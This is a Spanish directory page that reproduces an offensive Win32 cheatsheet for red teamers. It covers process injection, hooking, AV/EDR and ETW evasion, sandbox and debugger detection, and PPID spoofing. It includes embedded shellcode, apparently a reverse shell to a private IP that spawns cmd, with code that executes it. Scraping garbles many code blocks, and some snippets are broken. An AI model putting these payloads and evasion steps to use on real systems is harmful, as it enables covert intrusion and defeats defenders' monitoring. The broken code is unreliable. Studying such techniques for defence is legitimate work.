Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Win32_Offensive_Cheatsheet — Win32 and Kernel abusing techniques for pentesters | Kitploit
Herramientas/GitHubGitHub/matthieu-hackwitharts/win32_offensive_cheatsheet
Persistence MechanismsExploitationIDS/IPS EvasionReverse EngineeringPost-ExploitationPenetration TestingBinary AnalysisLearning & EducationRed Teaming

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Curated Resources
Payload Development
GitHubmatthieu-hackwitharts/win32_offensive_cheatsheet

Win32_Offensive_Cheatsheet

Win32 and Kernel abusing techniques for pentesters

Ver Repositorio
981136hace 2 añosRevisado por Kitploit
Compartir

Cheatsheet Ofensivo de Win32

Técnicas de abuso de Win32 y Kernel para pentesters y red-teamers creadas por @UVision y @RistBS

Modo dev activado, abierto a cualquier ayuda :)

  • Documentación de binarios de Windows
    • Estructura del PE
    • Cabeceras PE
    • Análisis del PE
    • Tabla de Direcciones de Exportación (EAT)
    • Resolución de dirección de función
    • Tabla de Direcciones de Importación (IAT)
      • Análisis de IAT
    • Tabla de Búsqueda de Importación (ILT)
    • Habilitar privilegio SeDebug
  • Ejecutar algún binario
    • Ejecución clásica de shellcode
    • Ejecutar DLL
    • De archivo RAW a PE
  • Técnicas de inyección de código
    • Inyección CreateRemoteThread
    • Process Hollowing
    • Técnica de cola APC
    • Early Bird
    • Inyección Reflectiva de DLL
    • Inyección de DLL
    • Process Doppelganging
    • Fibras
    • CreateThreadPoolWait
    • Secuestro de hilos
    • Inyección de código MapView
    • Module Stomping
    • Function Stomping
  • Técnicas de hooking
    • Inline hooking
    • IAT hooking
  • Técnicas de bypass RE
    • Ofuscación de llamadas y cadenas
    • Resolución manual de funciones
    • Hashing de API Win32
  • Bypass de EDR/Endpoint
    • Syscall directa
    • Lenguajes de alto nivel
    • Parchear inline hooking
    • Detectar hooks
    • Parchear ETW
    • Bypass de sandbox
    • Bypass de depuración
    • Técnica VirtualProtect
    • Unhook de copia nueva
    • Hell's Gate
    • Heaven's Gate
    • PPID spoofing
    • Callback de instrumentación de procesos
    • Cifrado de heap
    • Ofuscación de sleep
  • Conceptos básicos de programación de drivers
    • Conceptos generales
    • System Service Dispatch Table (SSDT)
    • Entrada del driver
    • Entrada/Salida)
    • Comunicarse con el driver
    • Firma de drivers (Microsoft)
    • Callbacks personalizados (ObRegisterCallbacks)
  • Programación ofensiva de drivers
    • Parchear callback de kernel
    • Parchear proceso protegido
  • Uso de la API Win32 para aumentar OPSEC
    • Persistencia
      • Tareas programadas
    • Spoofing de línea de comandos
  • Miscelánea
    • Convención de llamadas x64
    • Ejecución indirecta
      • Bypass de CFG con SetProcessValidCallTargets

  • Malware/Técnicas sofisticadas
    • Caso de Emotet: PPID Spoofing usando WMI
    • Técnica de archivos ocultos del malware Zeus
    • Técnica de hooking del keylogger SpyEye
    • La detención de malware más ridícula (WannaCry)

Documentación de Binarios de Windows

Herramientas útiles y Sitios Web/Libros/Cheatsheet

  • 🔹 https://github.com/RistBS/Awesome-RedTeam-Cheatsheet/ (Muy buena cheatsheet)
  • 🔹 https://www.ired.team/ (Increíble cheatsheet de red team con excelentes notas sobre inyección de código)
  • 🔹 https://undocumented.ntinternals.net/ (Funciones NT no documentadas)
  • 🔹 https://docs.microsoft.com/en-us/windows/win32/api/ (Documentación oficial de Microsoft)
  • 🔹 Windows Kernel Programming - Pavel Yosifovich
  • 🔹 https://research.checkpoint.com/ (Documentos muy interesantes sobre evasión, anti-debug y mucho más)
  • 🔹 https://www.vx-underground.org/ (Contenido increíble sobre desarrollo de malware y reverse)

Estructura del PE

Cabeceras PE

  • DOS_HEADER : Primera cabecera del PE, contiene el mensaje de MS DOS ("This programm cannot be run in DOS mode...."), la cabecera MZ (bytes mágicos para identificar PE) y algo de contenido stub.
  • IMAGE_NT_HEADER : Contiene la firma del archivo PE, la cabecera de archivo y la cabecera opcional.
  • SECTION_TABLE : Contiene las cabeceras de las secciones.
  • SECTIONS : No es una cabecera pero es útil saberlo: estas son las secciones del PE.

Detalles : https://www.researchgate.net/figure/PE-structure-of-normal-executable_fig1_259647266

Análisis del PE

Análisis simple del PE para obtener la dirección absoluta de IAT e ILT:

  • Obtener dirección base : GetModuleHandleA(NULL);
  • PIMAGE_DOS_HEADER = dirección base, cabecera DOS
  • PIMAGE_NT_HEADER = BaseAddress+PIMAGE_DOS_HEADER.e_lfnanew (RVA NT_HEADER)
  • IMAGE_DATA_DIRECTORY = OptionnalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] de PIMAGE_NT_HEADER
  • IMAGE_IMPORT_DIRECTORY = IMAGE_DATA_DIRECTORY.VirtualAddress (RVA de IMAGE_IMPORT_DIRECTORY)
  • IMAGE_IMPORT_DESCRIPTOR = BaseAddress + IMAGE_IMPORT_DIRECTORY.VirtualAddress (RVA de IMAGE_IMPORT_DESCRIPTOR)
  • Dirección absoluta de IAT : IMAGE_IMPORT_DESCRIPTOR.FirstThunk (RVA IAT) + BaseAddress
  • Dirección absoluta de ILT : IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk (RVA ILT) + BaseAddress

Tabla de Direcciones de Exportación (EAT)

La EAT resuelve todas las funciones que exporta el PE y también resuelve DLLs. Está definida en la estructura IMAGE_EXPORT_DIRECTORY:```c
typedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics; DWORD TimeDateStamp; WORD MajorVersion; WORD MinorVersion; DWORD Name; // name of DLL DWORD Base; // first ordinal number DWORD NumberOfFunctions; // number of entries in EAT DWORD NumberOfNames; // number of entries in (1) (2) DWORD AddressOfFunctions; // RVA EAT and contains also RVA of exported functions DWORD AddressOfNames; // Pointer array contains address of function names DWORD AddressOfNameOrdinals; // Pointer array contains address of ordinal number of functions (index in AddressOfFunctions) } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

root@kitploit:~
Tenga en cuenta que la EAT está definida en una DLL, no en un PE "real" (un PE utilizará la EAT de una DLL cargada para resolver punteros a funciones que desea usar).
 
### Resolver dirección de función

**Usando la dirección de la función**
 
¿Qué esperas? ¡Encuentra esta función!
 
**Usando el número ordinal**
 
Un número ordinal es una **posición de índice** correspondiente a la dirección de la función en el array `AddressOfFunctions`. Puede usarse para **recuperar la dirección correcta de la función**, como a continuación:
 
 Intentemos encontrar la dirección correspondiente (Addr4) con el número ordinal 3.
 
 - **AddressOfFunctions** : *Addr1 Addr2 Addr3 Addr4 .... AddrN*
 - **AdressOfNameOrdinals** : *2 5 7 3 ... N*
 
La dirección que buscamos está en la posición 3 (desde 0), y nuestro número ordinal corresponde al **índice de esta dirección**.
 
**Usando el nombre de la función**
 
El N-ésimo elemento en el array AddressOfNames corresponde al N-ésimo elemento en el array AddressOfNameOrdinals: usando un nombre dado, puedes recuperar el número ordinal correspondiente y proceder a encontrar la dirección de la función usando este número.

## Tabla de direcciones de importación (IAT)

- El cargador de PE no sabe qué dirección corresponde a cada función: llamemos a la IAT para salvarnos.
- Definido en la estructura IMAGE_IMPORT_DIRECTORY:```c
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    DWORD	Characteristics; 
    DWORD	OriginalFirstThunk;	// RVA to ILT
    DWORD	TimeDateStamp;	
    DWORD	ForwarderChain;
    DWORD	Name; 		        // RVA of imported DLL name
    DWORD	FirstThunk;             // RVA to IAT
} IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR;

Como resumen, la IAT es una tabla que contiene punteros a varias funciones que son importadas por el PE desde DLL cargadas (ntdll, kernel32...).

Análisis de la IAT

  1. Obtener el RVA de la IAT
  2. Recorrer la estructura IMPORT_DESCRIPTOR: el miembro Name es el RVA del nombre de la DLL actual
  3. Para obtener el nombre real de la DLL: buscar en la ILT (originalFirstThunk+BaseAddress)
  4. Para obtener las funciones exportadas de la DLL actual: PIMAGE_IMPORT_BY_NAME function_name->Name = ImageBase+AdressOfData

Ejemplo de código detallado aquí: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/miscellaneous/iat_parser.cpp

Tabla de búsqueda de importaciones

Cada DLL importada por el PE tiene su propia ILT.``` Absolute address of ILT = BaseAddress + OriginalFirstThunk (IAT)

root@kitploit:~
Contiene todos los nombres de las funciones que están en la DLL importada.

<br>


## Habilitar el privilegio SeDebug

El privilegio **SeDebug** es el privilegio "más buscado" en toda la lista de privilegios de Windows. Te permite "depurar" cualquier proceso autorizado, lo que puede traducirse en varias acciones ofensivas, como abrir un handle con privilegios ```PROCESS_ALL_ACCESS```.

Para habilitarlo en modo usuario, necesitarás usar una función como:```cpp
void EnableDebugPriv()
{
    HANDLE hToken;
    LUID luid;
    TOKEN_PRIVILEGES tkp;

    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

    LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);

    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = luid;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL);

    CloseHandle(hToken); 
}

Esta función abrirá el token de su proceso actual y luego lo ajustará al privilegio SE_PRIVILEGE_ENABLED, que corresponde al privilegio objetivo.

Ejecutar algún binario

Ejecución clásica de shellcode

Ejemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/classic.cpp

Ejecución de DLL

Esta técnica tuvo buenas tasas de bypass hace unos años; sin embargo, debido al creciente número de EDR y otras soluciones de endpoint, se debe evitar en lo posible la escritura en disco.

Ejemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_classic.cpp

Archivo sin procesar a PE

Puede ejecutar un archivo binario sin procesar en memoria asignando su espacio de tamaño en una región de memoria :```cpp HANDLE binfile = CreateFileA("myfile.bin",GENERIC_READ,NULL,NULL,OPEN_EXISTING,NULL,NULL); SIZE_T size = GetFileSize(binfile,NULL); LPVOID buffer=NULL; ReadFile(binfile,buffer,size,NULL,NULL); HANDLE hProc = GetCurrentProcess();

CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL); CloseHandle(hProc);

root@kitploit:~
<br>

# Técnicas de inyección de código

## Inyección mediante CreateRemoteThread

Simplemente escribe tu shellcode en un espacio de memoria previamente asignado dentro del proceso objetivo. (No apto para OPSEC)

> Ejemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/create_thread_injection.cpp

## Process Hollowing

El Process Hollowing se realiza en varios pasos :

- Crear el proceso objetivo (el "vaciado") en modo suspendido : es necesario modificarlo
- Desmapear el proceso objetivo de su PEB (Debes declarar esta estructura primero)
- Escribir el contenido del nuevo exe en este proceso : cabeceras + contenido
- Analizar y aplicar la tabla de reubicaciones
- Dejar que el proceso continúe ejecutándose en su hilo
- Disfruta

> El POC completo se puede encontrar aquí : https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations

## Técnica de cola APC

Inyecta tu shellcode en todos los hilos disponibles de un proceso y luego usa la función ```QueueUserAPC()``` para poner en cola una llamada APC. Esta técnica puede no ser fiable cuando no hay muchos hilos en el proceso comprometido.

> Ejemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/apc.cpp

## Early Bird

Similar a la inyección por cola APC, aquí la llamada APC debe establecerse en un proceso suspendido. El hilo principal del proceso creado se reanuda entonces; la principal ventaja de esta técnica es que, al evitar escribir el shellcode en un proceso en ejecución, será menos detectada por AV/EDR.

> Ejemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/earlybird.cpp

## Reflective DLL Injection

Al igual que con la inyección de DLL "estática" (mediante el uso de un archivo dll), puedes inyectar tu propia DLL en la mayoría de los procesos reflejándola en memoria. Tiene la ventaja de eludir fácilmente algunos productos AV/EDR a pesar de ser una técnica bastante detectada hoy en día.

Primero debes asignar memoria y hacer algo de trabajo de reubicación para que funcione.

El conocido PoC sobre esta técnica fue publicado por stephenfewer : https://github.com/stephenfewer/ReflectiveDLLInjection

## Inyección de DLL

Puedes inyectar algo de código almacenado en una dll en un proceso remoto. Desafortunadamente, los productos EDR probablemente lo detectarán fácilmente, especialmente si la dll maliciosa toca el disco.

> Ejemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_injection.cpp

## Process Doppelganging

El Process Doppelganging fue hasta hace unos años un método no detectado de lanzar tu propio payload de una forma bastante astuta. Fue demostrado en BlackHat 2017 por Tal Liberman y Eugene Kogan, mira su increíble trabajo : https://www.youtube.com/watch?v=Cch8dvp836w

Es un paso "intermedio" antes de la técnica de Process Hollowing : la imagen PE se sobrescribe antes de ejecutarse, por lo que Windows Loader hace el Process Hollowing por nosotros (¿mola, verdad?).

Hasherezade ha hecho algunos POCs interesantes de esta técnica, disponibles aquí : https://github.com/hasherezade/process_doppelganging

## Fibers

Los hilos (fibers) pueden definirse como ```cooperatively 
threads (https://nullprogram.com/blog/2019/03/28/)```. Permite que el programa principal ejecute el shellcode a través de este nuevo tipo de hilo.

> Ejemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/fiber.cpp

## Inyección de código mediante MapView

Esta técnica te permite compartir una vista de una sección de memoria de tu proceso malicioso con otro proceso remoto, que ejecutará tu shellcode almacenado en esa vista. Se puede hacer usando NtCreateSection/NtMapViewOfSection, evitando así usar procedimientos muy monitorizados como WriteProcessMemory() o VirtualAlloc() (sin embargo, NtMapViewOfSection también puede ser monitorizado).

Ejemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/mapview_injection.cpp

## Module Stomping

Esta técnica hace que tu beacon esté respaldado por un módulo en disco.```c
CHAR moduleName[]  = "windows.storage.dll\x00";
HMODULE hVictimLib = LoadLibraryA(moduleName);

DWORD_PTR RXSection = (DWORD_PTR)hVictimLib;
RXSection 	   += 0x1000 * 0x2;
RXSection  	   += 0xc;
char* ptr 	    = ( char* )RXSection;

para detectar el module stomping (especialmente para Cobalt Strike) se publicó un escáner llamado DetectCobaltStomp para resaltar algunos IoCs de la técnica, pero el autor de Brute Ratel logró mejorar la técnica original.

Function Stomping

Simplemente reemplaza la dirección de la función original (obtenida con GetProcAddress) por la nueva. Esta técnica está bien detallada por su autor: https://idov31.github.io/2022-01-28-function-stomping/


Técnicas de hooking

Hooking inline

El hooking inline es la forma más básica de enganchar una función: simplemente consiste en redirigir la llamada a la API hacia tu propia función (un salto).

Ejemplo de código: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp

Hooking de IAT

Al modificar la dirección de la función correspondiente para que apunte a tu propia función, puedes hacer que el programa ejecute tu propio código.

Puede hacerse siguiendo varios pasos:

  • Encuentra la dirección relativa de la IAT
  • Analiza la IAT para encontrar la función que quieres enganchar
  • Reemplaza esta dirección de función ("patch") con la dirección de tu función
  • Disfruta

Ejemplo de código: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/iat.cpp


Técnicas de bypass de RE

Ofuscación de llamadas y cadenas

Hay varias técnicas que puedes usar para ocultar tus llamadas a la API de win32, aquí tienes algunas:

  • Usa un array char[] para dividir los nombres de tus funciones/DLL en varios caracteres```cpp char sWrite[] = {'W','r','i','t','e','P','r','o','c','e','s','s','M','e','m','o','r','y',0x0}; //don't forget the null byte
root@kitploit:~
> Incluso puedes combinar este truco con alguna conversión de códigos de caracteres ASCII.

## Resolución manual de funciones

Puedes resolver manualmente un puntero a cualquier función de kernel32, ntdll y muchas más.

- Primero declara la plantilla de tu función, basada en el encabezado real de la función:```cpp
typedef HANDLE(WINAPI* myOpenProcess)(DWORD,BOOL,DWORD); //if you work directly with ntdll, use NTAPI*

Luego resuelva un puntero a la función :```cpp myOpenProcess op_proc = (myOpenProcess*)GetProcAddress(LoadLibraryA("ndll.dll"),"OpenProcess")); op_proc(PROCESS_ALL_ACCESS,NULL,12345);

root@kitploit:~
> No dudes en combinar esta técnica con alguna ofuscación de cadenas para evitar pasar el nombre real de la función en texto plano.

## Hashing de API de Win32

Puedes ocultar tus llamadas a funciones de API calculando su hash con algún algoritmo de hash (djb2 es el más usado); ten cuidado con las colisiones de hash que son posibles con algunas funciones especiales. Luego combina esta técnica con la resolución directa de direcciones en la EAT, y haz llorar a los reversers :)

<br>

# Bypass de EDR/Endpoint


## Syscall directo

La mayoría de los productos EDR enganchan las llamadas a la API de win32 en modo usuario (PatchGuard reduce fuertemente la disponibilidad de hooks en el kernel). Para evitar estos hooks, puedes llamar directamente al equivalente Nt() de tus funciones de API.

-```asm
.code
	SysNtCreateFile proc
			mov r10, rcx //syscall convention
			mov eax, 55h //syscall number : in this case it's NtCreateFile
			syscall //call nt function
			ret
	SysNtCreateFile endp
end

Encuentra el número de syscall correcto en esta tabla : https://j00ru.vexillium.org/syscalls/nt/64/

  • Construye el prototipo de la función usando `NTSTATUS````cpp EXTERN_C NTSTATUS SysNtCreateFile( PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
root@kitploit:~
- Resolver la dirección NT```cpp
FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");

Código de ejemplo : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/direct_syscall.cpp

Lenguajes de alto nivel

C++/C suelen ser más detectados por los productos AV/EDR que los lenguajes equivalentes de alto nivel: usa Go, Rust u otro lenguaje para crear tus mejores plantillas.

Parchear el Inline Hooking

Simplemente vuelve a enganchar tus funciones enganchadas aplicando la llamada de función correcta: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp

Detectar hooks

Para detectar hooks, primero obtendrás la dirección base de NTDLL con LoadLibrary, luego analizarás los encabezados PE para localizar EAT (IMAGE_EXPORT_DIRECTORY) y sus offsets, que contendrán toda la información importante (funciones exportadas + nombre). Simplemente resuelve los nombres y direcciones de las funciones mientras iteramos sobre las funciones exportadas y aplica las siguientes sentencias if para clasificar las funciones

  • clasificar las funciones para obtener solo las funciones Nt o Zw```c if (strncmp(functionName, (char*)"Nt", 2) == 0 || strncmp(functionName, (char*)"Zw", 2) == 0) { // ... }
root@kitploit:~
> **⚠️** : algunas funciones son falsos positivos, te recomiendo detectarlas :```c
        if (strncmp(functionName, (char*)"NtGetTickCount", 14) == 0 ||
             strncmp(functionName, (char*)"NtQuerySystemTime", 17) == 0 ||
              strncmp(functionName, (char*)"NtdllDefWindowProc_A", 20) == 0 ||
               strncmp(functionName, (char*)"NtdllDefWindowProc_W", 20) == 0 ||
                strncmp(functionName, (char*)"NtdllDialogWndProc_A", 20) == 0 ||
                 strncmp(functionName, (char*)"NtdllDialogWndProc_W", 20) == 0 ||
                  strncmp(functionName, (char*)"ZwQuerySystemTime", 17) == 0) { }
  • para la última sentencia if, comprueba si los primeros 4 bytes de functionName son iguales a mov r10, rcx; mov eax, ##, que es el comienzo del stub de syscall```c if (memcmp(functionAddress, syscallPrologue, 4) != 0) { // ... }
root@kitploit:~
> Ejemplo de código: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/tree/main/evasion/detect_hooks.c


## Parchear ETW

Event Tracing for Windows (ETW) es una API de registro de bajo nivel que se puede utilizar para depurar/registrar procesos del kernel y del modo usuario. Se implementó por primera vez en Windows 2000, pero la supervisión en tiempo real está realmente disponible desde Windows XP.

La API de ETW está disponible en los archivos de encabezado proporcionados por Microsoft: https://docs.microsoft.com/fr-fr/windows/win32/api/_etw/

En una operación de pentest, debes tener en cuenta esta funcionalidad parcheándola: la forma más utilizada es escribir opcodes ```ret``` arbitrarios en la función de escritura de eventos de ETW (```EtwEventWrite```) para evitar que los registros se escriban en algún lugar.

Ejemplo de código: //

## Evasión de sandbox

Los sandboxes son bastante utilizados por los AV/EDR para probar algunas llamadas a la API y otras partes del código antes de ejecutar realmente tu programa. Hay varias técnicas para evitar esta herramienta; a continuación se presentan algunas de ellas:

- Espera. En serio. Funciones como `Sleep()` o `time.sleep()` o equivalentes harán el trabajo, durante unos segundos antes de ejecutar el shellcode real.
- Intenta asignar mucha memoria (malloc), por ejemplo 100000000 bytes.
- Intenta detectar si realmente estás en un entorno de sandbox (VM): comprueba procesos abiertos, archivos y otras cosas sospechosas.
- Intenta resolver una URL falsa (que no funcione): muchos productos AV responderán con una página falsa.
- Usa llamadas a la API extrañas y poco utilizadas, como `VirtualAllocExNuma()`. La mayoría de los sandboxes no pueden emular este tipo de llamada.```cpp
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);

Bypass de depuración

No es una técnica real de evasión de AV, pero sigue siendo útil para evitar ser invertido demasiado fácilmente por ingenieros de RE. Hay muchas formas de detectar o volver locos a los depuradores, pero aquí tienes algunas de ellas:

Forma con flags

Puedes usar IsDebuggerPresent() (Win32) o la llamada directa NtQueryInformationProcess() (no muy documentada) para comprobar los flags de depuración.

Forma con handles

Intenta cerrar handles inválidos (inexistentes) con la API CloseHandle(). El depurador intentará capturar la excepción, lo cual puede detectarse fácilmente:```cpp bool Check() //https://anti-debug.checkpoint.com/techniques/object-handles.html#closehandle { __try { CloseHandle((HANDLE)0xDEADBEEF); return false; } __except (EXCEPTION_INVALID_HANDLE == GetExceptionCode() ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) { return true; } }

root@kitploit:~
**Forma ASM**

Intenta hacer una llamada INT 3 (ASM): es equivalente a un punto de interrupción de software, que disparará un depurador. Hay muchas otras formas de detectar cualquier depurador, muchas de ellas están recopiladas en : https://anti-debug.checkpoint.com/

## Técnica VirtualProtect

Usando algunos trucos con `VirtualProtect()` puedes evitar fácilmente ser marcado en memoria : cambia entre `PAGE_EXECUTE_READWRITE` y `PAGE_READWRITE` (menos sospechoso) para evitar activar tu AV favorito.

## Fresh Copy Unhook

Evita los hooks reemplazando la ntdll "enganchada" por una nueva, mapeada directamente desde el disco.

Ejemplo de código : // to add

## Hells Gate

Para evitar usar syscalls hardcodeados, Hell's Gate (¿Hells Gates ?) los recupera dinámicamente analizando la EAT (compara bytes de memoria con opcodes de syscall). El PoC original fue creado por el gran equipo de VX-Underground, y se puede encontrar aquí : https://papers.vx-underground.org/papers/Windows/Evasion%20-%20Systems%20Call%20and%20Memory%20Evasion/Dynamically%20Retrieving%20SYSCALLs%20-%20Hells%20Gate.7z

Otro ejemplo : https://github.com/am0nsec/HellsGate

## Heavens Gate

Usa Wow64 para inyectar payloads de 64 bits en un loader de 32 bits. Puede ser útil para evadir algunos AV/EDR porque Wow64 evitará que seas detectado en userland.

La versión más conocida de esta técnica fue creada por el equipo de MSF, mira su increíble trabajo aquí : https://github.com/rapid7/metasploit-framework/blob/21fa8a89044220a3bf335ed77293300969b81e78/external/source/shellcode/windows/x86/src/migrate/executex64.asm

## CreateThreadPoolWait

Abusando de CreateThreadPoolWait(), que puede aceptar un puntero a una función de callback, puedes ejecutar tu shellcode a través de este procedimiento. Muchas técnicas similares (usando un puntero a función de callback) están disponibles en : http://ropgadget.com/posts/abusing_win_functions.html

Ejemplo :```cpp
//code from https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait

#include <windows.h>
#include <threadpoolapiset.h>

unsigned char shellcode[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";


int main()
{
	HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
	LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));

	PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
	SetThreadpoolWait(threadPoolWait, event, NULL);
	WaitForSingleObject(event, INFINITE);
	
	return 0;
}

Secuestro de hilos

Secuestra un hilo en un proceso remoto suspendiéndolo y luego reemplaza su registro RIP (o EIP si estás en x86) con la dirección de tu propio shellcode.

Ejemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/thread_hijacking.c

Suplantación de PPID

Cuando un proceso sospechoso/anormal se inicia bajo un proceso padre "legítimo" o desatendido, resulta muy sospechoso. Piensa en una macro maliciosa de Word que despliega un proceso de PowerShell: qué extraño, ¿verdad ?

La suplantación de PPID puede evitar eso al permitirte modificar el id del proceso padre (PPID) de tu proceso creado.```cpp #include <windows.h> #include <TlHelp32.h> #include

//code from : https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing int main() { STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T attributeSize; ZeroMemory(&si, sizeof(STARTUPINFOEXA));

root@kitploit:~
HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 6200);

InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

